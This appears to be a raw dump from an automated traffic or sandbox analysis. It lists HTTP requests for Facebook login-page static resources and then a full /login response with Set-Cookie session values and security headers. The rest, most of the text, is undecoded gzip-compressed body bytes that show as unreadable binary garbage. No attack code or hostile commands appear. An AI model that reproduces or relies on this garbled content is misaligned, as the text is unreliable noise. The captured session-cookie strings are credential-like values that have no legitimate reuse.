text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yr/l/0,cross/zihuVctRJY1.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yI/l/0,cross/iO3P8CXC6B9.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yI/r/4aAhOWlwaXf.svg HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/ya/l/0,cross/EQ0cyse2DGv.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y8/r/RNFuSb7tdaZ.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: connect.facebook.netConnection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yh/r/bpW4eEg-2_W.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yl/r/BQn1Lzzcmjv.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yG/r/rAl2Hl1fQTa.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yM/r/SeW64FDUgJN.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3i7M54/yv/l/en_US/uwjyy7pmA-B.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yB/r/Y0L6f5sxdIV.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yU/r/O7nelmd9XSI.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yt/r/d4QqVJOdC1V.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yz/r/lFK_RCKM9IT.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yq/r/C9n9XTZa3H8.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL")52:Tcf92,"GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipp3p: CP="Facebook has no P3P policy fb.me/p3p"Set-Cookie: sb=i1YyZei-mbh0_vkuP5fDs_KU; expires=Sat, 23-Nov-2024 10:29:31 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponlySet-Cookie: fr=0phoI55IRR3T6z1Ek..BlMlaL.EW.AAA.0.0.BlMlaL.AWUCwy0cV6k; expires=Thu, 18-Jan-2024 10:29:31 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponlyreporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown"report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}content-security-policy: default-src data: blob: 'self' https://*.fbsbx.com 'unsafe-inline' *.facebook.com *.fbcdn.net 'unsafe-eval';script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com *.fbcdn.net data: *.facebook.com 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.whatsapp.com:* wss://*.fbcdn.net attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net *.fbsbx.com *.fb.com;font-src data: *.gstatic.com *.facebook.com *.fbcdn.net *.fbsbx.com;img" "-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com *.tenor.co media.tenor.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net *.giphy.com connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com *.whatsapp.net *.fb.com *.oculuscdn.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com https://*.giphy.com data:;frame-src *.doubleclick.net *.google.com *.facebook.com www.googleadservices.com *.fbsbx.com fbsbx.com data: www.instagram.com *.fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;document-policy: force-load-at-toppermissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), geolocation=(self), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), microphone=(self), midi=(), payment=(), screen-wake-lock=(), serial=(), usb=()cross-origin-resource-policy: same-origincross-origin-opener-policy: unsafe-nonePragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: zEuOis3tWaB8y501cr8xtm3g2+1/5D7EfkYfKoh5OtXw3RjrsYl0nb3GISW01mIs2uKuqj8H7aCCOlV1qrkXbg==Date: Fri," "20 Oct 2023 10:29:31 GMTAlt-Svc: h3=":443"; ma=86400Transfer-Encoding: chunkedConnection: keep-alive45a3��Io$͒ v�_��ޛ�|��}c}��3�ܘ�bu�3�#Ù��#"�#0��I��2Щ[�@#`��?�s{�AK�� {l��Xd}2�3sssssss�_��ޯ�o��ڧ��4d�Nl1"��4�BLҐm��)>��H��TDm��$JB,�Hǧ��S!&��T��\��(��J~�Ֆ(��a>T��`R��אb1l,��k�� q�az�U1��1)F�:�~��җ�%1dsyL�K(�o�I>c!|�O�N>x�cq��>ǧ��瀚��k�1um�㵅m�DA��Cl��:(��"s��D�ܨ�Z�b]Of��lYT'B\�X7XT1��#'�o;H��E5�G8ɦ�CtlkD�UWQ0�',��S�T\�Us)c�(A�#�X2eL��[��B��2W��Z�T��.��"v��%�ܫ�|��$�×��o�}H��1ش�QG�"Q��8=n��^{�+��J�s+��xݨ�.;�!��4.�壯Dl��=�!��J�e��X�R�~8z~�~@G�G��mw��m��I��2oD�޸��T�a��R�J��.��V#�+�16vN��9#�o�2��i6[��HE��A;��h%�45�X�zW�&N̯s��c+�Z�%qԘB6d��PmQǥZl��5xF�/�쨧�L6�Q�d�:��T��0d��!�"=��?"&��o��P>�O :�a;vYV��K��H��u�m��Ę��o�Խ�?��o��%~i��V�~�'>�Q��P;��}�L�r�t�Z+SI6��$�M�cK��lr�'i2�3g�,�ݦ�ǖ1;��fjft��4_.��Q#��h��K��1g1b8f0M�r͐1��4"��T�a�e�V%�,��Xr��R��c҉��6-C��0��!7-jZ�:�S��A=�QeSK�=�\.�}C�X2u�_��Ң(�!NF[�&!�4��4��*��S��B �۵�)��i�&��<�j��y ��l[�8��U�'�y!��w��:2��y�'�I#d>ս��m�ud��\��O$�D�\�NC�&�r��ud֥�ey�4�O"�)��", "E��.;��V�f��D2�2I?;(�nj�j�ud>�n��S�R��tsЛt��V�_Gf��*�|�ۦ�+�(%ir�k��iё��+��V��+�Z��P�Sds�z�l�\��H�ă%�~�U?V�!k��WA�,V�䫐.eK�\~R�$l�$�r�Rv'1]J�J��0KɕJ鼟��H�{��GS(J�"+�mX��kJ��pb��R&��~�T:](f˹��R�l>�:X,��ah�|1_J��s\x�!k>Cy��͞�`��-M�#L��=��G_?��ptJ��b`��gXdK��r"\,&˻+�88�Z��\��s<�K�.F5�P�̫<'��eh�(��N>��٤*6;�k�2��1:G�ʰv&ą��bЩ�b�=t*��q3W�z�Wk��Ơ?�{-!.T'�v�1��U{��P��c��4��`�o�;�h�ְ2��1�+��X�ڭ^�.NF��H�5��ʠ�r��U�֫��6k�q��}�я ��T+/Wj��l�kgb��u��Fo,V��P��Gbmب��b��m�F�~o$6��8t��XoCA�{�[�5�Ob�Vl\��]g��^�xF ?�U{��nc~�=�4�b�W�v��W��{��Riu�U�Ӯ�5F�AeX7�nc4��+�~�R��[qPi5�Ac�q�S��Ƙ�h.�N�2��Ec,v��x�8�/��4XF(��Ne��Q� �#�[iw��`݆1ԁ^�1��nc�j��~�#6��U;k�.�f��!��Ơ.��Jz�R�j��Qc(v�-ƒ�Z�7�al��v�ڿ��8��@�U��-�K�:i��}��ga�ծ��b��1h�AEYg�F�7�-�~�;��}Ǖ�q�%��b��\��V�S��<ǅ��t�}��0Fg��#ąR�"�ƺ|~gq��췟L�ps��b�]�Wo��Fp(��V��R$5�~zZVo�=�A�i�xj/RgPb��v�K��@��2��M�Z�Y}�7��%|]�H�OϮܚ�~q6�Ֆ�kn%Z_�ʋk�rث��uKW�"ąz�N5g�t@"��uK�)�F!�tr�>T��=��r-��XZ�G��Ќ�֠C��ڱ��&i�Q+��RT�L��0�� k>u�#k_��ea��2�x� ��/��L��mp9�LsNp�4ll8޴ �3�gD\�~y^��s:��s��&�Ts�s��0��s<�͔��v��s8��HN��ee�PۣJ��2��m�Q*�m7��[F[��RO��{-��N�ռ|�i��8�=��-�|��s�!|&��;HN҅r�X.��L��}�}e�", "]l;#p�lɤ�3a!ۂ��/�ϗsY a2�4)��pk��0K4b�P 9C]�fUIsh'f{2��m{��`"�Q��Ȕ�bin�6X��E�!��y/��`j۹t1]�;l� �5�N�>��1��s��2��r��x��"<��R��"W$�t��H�T�b�V�Ozc�]N��.q��F��H�y��>�C�P&��3�T<�J}�Sו�I��'��4.��`NݵB��'n_�kk�`+�T�o_S��:��L��rԦI+�H^��r��'��Ȱ�SLc_˶�#M̾��5��fʬ{F��.�f��)ݔ](V�J8��ht"�Ť��4��z��B]�~`s,��dYl6q��R!ǒd�/WH�J,I�j�Dvk�t{:��t��q�.j�\��K��k"^oW�wv��(�1��Y�L��0l��k'�qaa1c�!]��K?)��Di��R�ŢׂU�m�ƱO�J^!X!fҩ\dx�L]w�w��s�Y�k�~��ǣ�NG1+�9��Ͳ�Q�WY��饺*=^��L<"ή R� 6l��-�2�B\�4��L��\[-ٰP��g�g�d�&�BupRo4+��X`�6�9@!].�S�a��q��8uR�.T!�_.�<�7�D�]J��Qv��*��;T��LC�<�γ�X4,"*�-RG�~J`MD��j@��Yf>G\"�cYt-_K�6��)�˥|9��r��q��:U�Js�$䅸0�D��|��tnω%RY�j>`F��p��˩f�m��Q��&C��ic��F`��"�ȝm�Dx�S�Dp�k̅ i�4�b'B6}��S��g�i��E�1�]��,e��v"<�'6&��F��m.RdȦ΂I�єN3��^eFM(�Sj.!�J*q��da��e5]M��4�K/�K�� l��KJ��qA�"a��Ā�F0[�1#��<�vN�䐆"r��H��M��6M�P��0dj�|\�X�i5��$�p�>N�D:`�5�S��g��x6�bj?�S�i��|��F0=�+~��1�%QR��͡��|�,2��%�!�3�a�0��9s&��0��h��渔��n��3�<߃;հ�i�2�X�/w��K�Qd��p�"��\��%��Q��aD�c��M㘀K�hȐuD�jZ�187X�!i ;u��"@� I#�^��>��Ĺ�j�o=!t�f�9��`I5L��1u��(D�2�LJ�+��mg�{ w�2%��l̈́�攣��ϖ�L4��E�/�(k��hy��C^�Dh��`��7��bʓ{;ͱ��6��U�/�e�"�2g�E�+b]�Y�c$�v�Y�p��-��D�^��=��Ԑ��>ƒK1��T�ٺ'�3�Ss�k~�%q�M�ӣa��妚��Ye�j��K��4��d�ް��|��lf�U�`��L�V�l@,PY[#�D�':&3�5��ZJ��4w�z�3,�)f�G��Pe�3S��Y䵙��df�k~�B>�cP��SL!�z@M�cɵN}f��S��w�u��s��[��n��6;�}˵{C�8#��V��1x�`&��9��Sgȶ�;�C��kbh��]pŞl��5��x��EР�j&D�IH��\��X�O'��=��Ñ�&�8�B�A�{7�J�?��T��;��C�+�X��'E��?��#��z@�y��a��%s3B�׺V�W�A��y�`��ϻ�iRm�0��HaX-9�?�A��u��!H��b$F�̈c7M:VM�F�lG��X�!#*�9�ga�P�cϢDGtݢ�k??e�dB��d��1�1�m�<怷�H#�S|�M6M�\��/�P�aj֐�g&]�a�fe��4{(1�KJ ʓD�Ҙ/pS%7�@2Tz��N��~?aj�'�к��tt��ejDZ�'Mˁ�r$��'[��,ϐ�?K�8��'-Jp��Z2��Ґ��2ǜ�4|�\b\/��;ckيk��c9�t�`i��", "�Q�[��6�@ȓ��`�2A�9)�M�JؾOz)��a[D�LM"?�V�zs;�5�݁�� Gu/�;��+��T��V��N�Ǘx<�>I��f�۽�0��)t\��8E2$,�@ޛ��dH��2ͦ�/>�ˎ�ZΒ��,A^G��H�<��I�� s��(%��(nS4�b"k� ��5�뢄t��a�O��`;�!�.̴�k6^��a��r�!��i��%��@g2�1�#��Ig �nRȎ��͙b��r�#��Tc�Q�t㓭�'�R��-kl�D�g=�]�U�.?��U|g��U��b�H�f�Hd�)N]��^�k�X��OS�>i��c��!��6�P��,��eaZЉ��/�o��m�`0m�3�v��;A:��gB�䜩梃�u��gDҦ�:��֢�5+��~�i8HrDg�q�]�jo>u0��Q��us��ys��st0�"��Y�(LݐM�4o��1�;95u3$�O��E��XE3305t��ִ\*��n��޾��ޝ)6�~��A��;�eKs��@x�i��B�:Y�'D��;E ��v�K��2Y��F�~��R�%�%FKy�9��1/�'��d8:r��'��x�4%q�zQ�z84(�7�/l�;�A��`Qҙl��6��N�aY�&�h�,9�mӐ$f�=�I��s�7�=5`1�>�4c7KIQ��|��ݩNv4�f) ��*HӦp��bRq�EVŅG�@�C�67ޣ>FQ�Z�S*�A�n�٬�n�HQ�0��4̊00^H��T޺�`Lv��Ċ��S��Ao��*b��Kj��֢m��b؀U�&�"�E�u�J��F��gx�DO��L\��;@�E��s�0��<�l�H��Pȥ��K�S=��S��*��2]��x�N�@�T.�l�"��R��)֘�k��v�ʅb*�)�4SG��R��Z�N��>(�a�n��R��+��w+�sղ僽ӆ��w�K�B��", "9��t*��$�T�@��݅�.e��2w��9�B�pz_�.�T9WNm��`�k��Kؠdc��0E��z`�KC��+��9�l�>��#��C`.�O�瑟~�%"`��l�-� @�d݄��5��˭��dd��R��ˉ�j.�q"�hT��@�-G��O�%jj�p�<�ֵ��1^��sp��@n4a�bآMǅ�hf�]�+4�k�kNR�i�SW�8��C��t*�C�S�4|*��<��7C��u��"��!��%"$��^��h�W�x��z�td�Ha��v0��0�K�F��G�b؁v`��O8~G�;��Q�m6ag��A��d��/,��u��~�;�v��]Q�E��<��޾�F\�g0e��&KhN/>�}̥Æo�L��xq�u~�n��d�ҿBK̖��Ņ��>��W��e��t��t�N�&��8Ѓ��Td�2111��B*�bSQ�Zk#�T5Fp:Rp�Ql��.ѻ�B&�T�*�EnG��H�$�v�k<�4zb��Ç08��(d�Lk4¯BqŔ�宰�m!=�L�^�]R5W�v�c�95)�f��N�a�1v䜷'�423Nbܛ�:��O�?S�z�賘m��AyySz��n�^��l^*�,L�P�19��1�#:#p9�u�X+8�M>�j[��1��b�r*|�1��1G�p��7�AVc��q+�Ƃb�"��X�&3�T6��b��=��k}:�5d|�5)��]0��);�� u��"��֘Dn�S�.P�1[B!��Y/��%��6e �p�11�2�[��'"I.t��c��v�&s��%�Q��L�!m�z��211�L;1�]��b��-��U�f��N��|J)l��m=��zxE�+R�y`ͦ3��+$0R�|!�g�S��-��~��`KZ��t룶\��ӱ��p�̚1��N�SzȰ\_��D��6A~ÐV[ �ŧB�\�1�T��S�Fb��f��h��+�)�b�85W��?�^L&6��ە�O��Fl��``$�A��?��#��uK�v�'3ˢ�>�h��u��pu��w�}'4��\��Ooi��!��\FD�j��GN*�)g��c��bE&�3��D+��e/�s�BL��@7��Bt| ,Rbb>Oӱ�wz>u��}�x�p�L�9h�\�BJ��3`��ɘ�(3i�RM�x�L��c��"�cq��y�yd/�X�͹�5�7q�[��I��Xٰ��1��̯A�q�E!S$~", "� �eNX}S\ĲfCΊ��)0e��7��fBY��n�4��.�؊�6I��e��s8��(`<�S`��N��11��]��H\�m��.�H}#��$��m��+��P\f#L�M��N��4��;8��_�W��9��_�SӤ3Ӊy{��E8�%M��铦JI�d��h��2?]xXE��a�g��S��a��7#��sY�j#��~�^��}�r��f��i�ޓ�mS�o�N]>4��O�1�Px"O{<~�g�&w�[�G�ޗ�:�*�E��A`ه��u ��_��ǵ/�G1r�h�Z�3sC��`��;�v[��8&�L�_��If��ko~C��7��hP�W�s>��j>�t��aoR�$f, UN��ܜ��BB�?��x�S��f�K4?5��Fl5�a2:�5��+�d/rɖz�vBC{��s��Y�&��Gp$M��?��4^1l��yILm$��tx{ʛ�!�\a��N}�y�d3i�(��=��B�U�Sö�?�GS��|RhB�?�O��W�i��)�"��UTc��O��"v��C�{R��8��+8�K��8�y�s#�{8��p��>�t$|�/��_}��_��;'Ƿ�h��CT��F�v�x�/2�BєH§�7��_��?��3k��YNb�3�e9b�5�ڥ�u�ʽȬ�Iw�2)�R�D�#ᓗ��f�6ѾC��8��Gl�_��]:^Ǿ��k;H#�>y?��L��M��5b�K��Tx�O&��d��O��z�|ڥ�u|*�ȧ�:�]ǖ��J�gL�*ۯ�"w�x�J/r�2>��_��ۿ��O��.��W�E~�#�!!|��_�O��9u�ːO��nv�5?a$��HQ֧B%g�f.��o��k��?f��4w[��L�7�||��h��xR�e��N�ӎna�߾L�8�av$�$]-\�y�u5��i�+��J4��2��ӫ�&��K��Yׅ�;Ę�u]dEWLe�b��E�уgɈ=93b+��4�H>y��b�`�A�}��U�VpS��]x�S�{?Lj��A�*ޡ;��F�~h>�;�@v�A��v��+"cS��퇙d�b{_;-ӂE�L�c�0�X�4`�/��@�d%��O-��i��f�@v��X7,�~��h��P|�0��h��`�w�B0�p��o��n��\8{a��G^��j�%��ُ��}��5�07��'��k6��i2��V�پ��N��fݮ��E�V2ksmP�)+", "/��m��nTRzk:�@�Y}�l��R�u�\�Q��լn^5g47�� ;��X��ku�F�c��7��z�Vth�|1϶��W�;�v8�g�TL�a�\S��X%tS��x'v:*\��@�23վ��ڍ��]�W4{�8��޹�5^�X��'�~a��XH"�mJ��©��Rw��#�1FWBN{x b5�X��b��x��c��D��N|��$SK'� ��V��(��M�G0�h�Ǩ��1c:2ЌS�55�ޕ}{��R�ɼ��`'eb�}�qcei�v>��Mz��~P�:`z::]��x}*��C�d{��x��τ�?��bȱs3Y�-��OR6I��L;��OO-E3�&�ˉD>ͥ2�\1�+�K�i��7t��K�X2��KL��Gв��`�mt��ч�h�޷�+��b��ȶ��2��w��X��a��l��^��˻��>��55��5�H�/��plHGKl�:D�Bh��&��|��Q�6��e2;c�f�w#�6�`i�vg��1f6x�#�R:[̕��T&�.�g�.��ǡ�Ta*�%�K�XLq�_�6`^�M�AZ��K�;�'Gϫz,|C�6Rk�>�q��g:�֬p��P�B��I�S�T�Xʧ >`��Ă�q�L�p��L#�ڱ��fn,�MH�%�`��kX��/�#4�>�!ǰL>¥�W�Ϳ��7�"G��g��7C�J�O�x�1-Qǆ�I$��/�çJ�+��wvf��LkM�E�^��&��b�T&�/��܍��nB#�:�ڎ�`g��gD�M:�g��B�?��?��j/F��`Qt�'�6��?��ïgM��J�|&�{��h��z|��I�gg��麪��e��\�\.],��3\�k�˅�wy�5�ãl�/b`."�;��OYL2.��J?Y�ʉ��_��R�r��/��W��.��Co��c��$r��C��}��Vp��؇��?X�5��C��?��pO��n��xnJL��#�]+��ʞ��^f��\^aynR:o��k�]Pż��I��L�O͇i�q", "��jmQt��7�q�\��z��jue}�d�T$��=p/��O��@�p�g�N[�7��]�=�g}k2=D�}2]O5ң7r�\�m2��ꥑ�<=I��v��q..�w��-s��Ǯ�Ly#�.�=�ׅ\�>��۵�{�2�׏�m⢩/I��v�F��o�ͧ��v��P��e��eߪ�7�&�n�~zw��^-��#[��'��?��B��Ƅn�)KK��>��W��2��V�m��ī�5L�>�{�_�i��=p7n+�?Sn�EQ�½��"��(�!糍�L�}�64zn��o��J�͞�ລ��z�4.s��}��,׼}�u��.WZ8�Z�:>��q�P.�E��dW'n��H�t砱Q!h�Wي歸��E�9�e�p��s��f�d��΁;��S��n�7��x��/o��>��+��vsR!v��j�p�dyX��n䒥Z@�F��Y:7��+�:hp��UT� Z�� Q:nJ��ȼ �c�z��X��c�<�_�r��N��P2�\��^Ѭ��8�!:��z�_�{�j�6U�A3��ts�lT��@%��vvȩ��eG��IvQ>h��V�י(;~��@Mg��Y��ک��Ieq��=[[��C��/�L}9�n��My��ղ��HW��~,xhOz�3#3��A}��J�'�۔��M"��7�w��%�=uf��y��>��z��=��qѻ�uǍ�}��V�E��\lP��]O: J�:W�n��+3��O��A�_.��}��F��(��UCߜ�K�?��d��{��9�dȵu�\z��k2T+��p�7��B��+�.�U5�<ď�k�J��L�}r�f�)�Ds��0pP��|��ܤ�g��(��j�lf��!:�}�4v/.�LH�x�U�riٳCȋ�sZZ�]��'��݅#߬/G�p�e�ѹi��íj=u�L7;��ɵ]��8D��r�|��d\K7��k��&)Y��.��C (��}��:��M�'�E�t^��A��1��,��3��-\��a��Տ��Ng.��#��r��#��U?�"�'ͧT�v��9N�ͷ�8-�6�E��zJ�(�R��CtdϫF��KytT6��l�<�eu��v�-_�}��u�35�5;��|�N:h*�sr��y��H��eti��z5��ѡ��&��ֻ��$�Tȷ��!�O��7��Ԫ�g��U%w��6��{��r��.��f��|�\��X�[q�|�И��RQ��5�^轑��M2��2*x��R93��\vδ�̍3n�9�6��z� �", "�X�� Fy�^�d �~��R��4(��o��]��Sd��'�Y��v�:9/��(;fWO�CE��E54Vή��Z�O��|��et�ꓻ��ZnT��{��Z6�!ga�QXwnma�}N�&Z�B�.��|��s�o�Mƍ��W-��U�r��J��v:�X�k�?�/��}Ѕ�Dӣ��}��-�&�r)�t�=��E�]T@bS�-T��]��Ui�'/&ﲥϷ��br��b��|9o��7�h�FDep��1�F�U�Ct(%c�kG�~�/ཝH_�W��r�Ɯ��So��B��b��52�v��˔\ꯢ�Ꮣo�E�x,��1��L�d�[��~2�6�xP��%Y>H�ֿSi��ɖ�sS#1��5�}r��&��R�ju*��Y{��"d4z\M/�%�&˘��}j��x��{>��:c�Ikn[��b�V�x��4��-�]��N��i��ӻ��k��ӵ^�n��A7�c�s��.A��]��??�!�5��q�B��/Ee^N�*t�(V��F׫��.�!�_��"��oF7�ǿL�M��J��2Q��$uQ�rˇ��V�L�ν��8v�l�J��W�<(5:��A`�\�FWgy2I�6��]y�)��Cef�M�|�?qv��k��|�<ތ<�E��P��)B�.�G��d��X��\��n�� 'w�j_�W�~8�㲍t^�;n�lo�E��i�XOz��{� 3��o�y��W��$��C�Mߙ-��^��`��y��K�&<�{�m�I*�6vN]GI�>��\��9_L�C{�i��nΕI��HW��Ǽ��tvY��ϗ��;��e�覷��~nO3=ھ��U^˭�+ם�Ov\�ww��$S��S(uxĀ�~�I�D�k��'£��p�J��]�>��UY��0>��_��#��6��,�e�V��-,��R�O��#��w`��a��̈́�yd��+�RS�w""��4�͂=��@��?��Q��X~�?�)m��6�-@i�؜�ؓJ;��6��A��9��&F�t�;��M:�(�C�Yu�sY_��|��0~7��l}}�8Ay�p�_��![=?#�v(��'�|$��9F��eQs��|�=D��0:��:2̥F�P$�u�fz��a�cT��H`\HUҝ2$��2p�B5s�%5~�^B�Ee�4��g9?0+��D*�� ~(:��`�0�&n��D��0��a�@�a�Fz��a�9��Y��(��c\��/%h]D��p�.�=��ݤ�C��^O$ܕ��a��1��", "�^��;o�p׻j�� :��a��7�Q��~��ok�}��>=x��{�7d%�F�#��\��C�ŷ�{_/�z ��p��2Q"?s.�Ł�ߚ��r�(�1��96��^3��%��taD��w�F�/�wćt��3j@Q_�,ep��s��o�z�;0��b{��ƾ�E��B��>�{ ��K"]p�1I��H�; d�!^��h�kn�eވ.��a�"�禯(��;��`�܌��4�I��ˇy �{�(x�ڻo��;�ݲgѼ�-Bm�PD_X�6��q�x��'d��z�EN��H5V� �5�!�p@��7R�O'��v؛{-�o�i�e��vͥK��K�^��;+�5U�Q��q�+��>E�k��ְ'��;_��K$�%��н��1r��(%�{��>��o��{4��'xb��k��3�|��o��l�žn��U>}��p�Q�a��B��}�)��0ptotGD5�%�9��w�_�X��w[��7�vRL�G��2q?��ј}��V�?}�Ë�d��?[~�*��XL}�;�w�-��~T��:~3W�ב��{0>.??�RI��?.&d5C��p��p"��)��|��(�2�`Ԑ�n�6Y��c��>Kܝ)j��V�2�iW+��J}��M��M��{�]8�yF+X��]��ɴ�x��%�U��@�B�4ǊQ�LR欛O��o�]�.��Ba 